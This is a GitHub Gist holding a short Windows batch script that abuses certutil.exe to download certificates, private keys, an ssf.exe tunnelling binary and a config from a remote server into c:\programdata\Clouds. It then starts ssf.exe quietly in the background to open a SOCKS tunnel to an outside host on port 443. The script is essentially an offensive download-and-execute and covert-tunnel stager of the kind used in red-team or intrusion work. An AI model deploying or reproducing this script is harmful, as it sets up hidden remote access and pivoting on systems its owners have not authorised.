Skip to content

Instantly share code, notes, and snippets.

@ffcommax
Created June 26, 2019 10:59
Show Gist options
  • Save ffcommax/69f66a9f1fed0e7d68e83129cc16d7e9 to your computer and use it in GitHub Desktop.
Save ffcommax/69f66a9f1fed0e7d68e83129cc16d7e9 to your computer and use it in GitHub Desktop.
SSF With Batch File
@echo off
SET ssfdserver=8.8.8.8
SET ssfport=443
SET ssfsoucksport=8008
SET dic=c:\programdata\Clouds
SET server="http://server/ssf/"
if not exist %dic% mkdir %dic%
mkdir %dic%
mkdir %dic%\certs
mkdir %dic%\certs\trusted
certutil.exe -urlcache -split -f %server%/certificate.crt %dic%\certs\certificate.crt
certutil.exe -urlcache -split -f %server%/dh4096.pem %dic%\certs\dh4096.pem
certutil.exe -urlcache -split -f %server%/private.key %dic%\certs\private.key
certutil.exe -urlcache -split -f %server%/server.crt %dic%\certs\server.crt
certutil.exe -urlcache -split -f %server%/server.key %dic%\certs\server.key
certutil.exe -urlcache -split -f %server%/ca.crt %dic%\certs\trusted\ca.crt
certutil.exe -urlcache -split -f %server%/ssf.exe %dic%\ssf.exe
certutil.exe -urlcache -split -f %server%/config.txt %dic%\config.txt
cmd.exe /c START /B %dic%\ssf.exe -c %dic%\config.txt -F %ssfsoucksport% -p %ssfport% %ssfdserver%
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment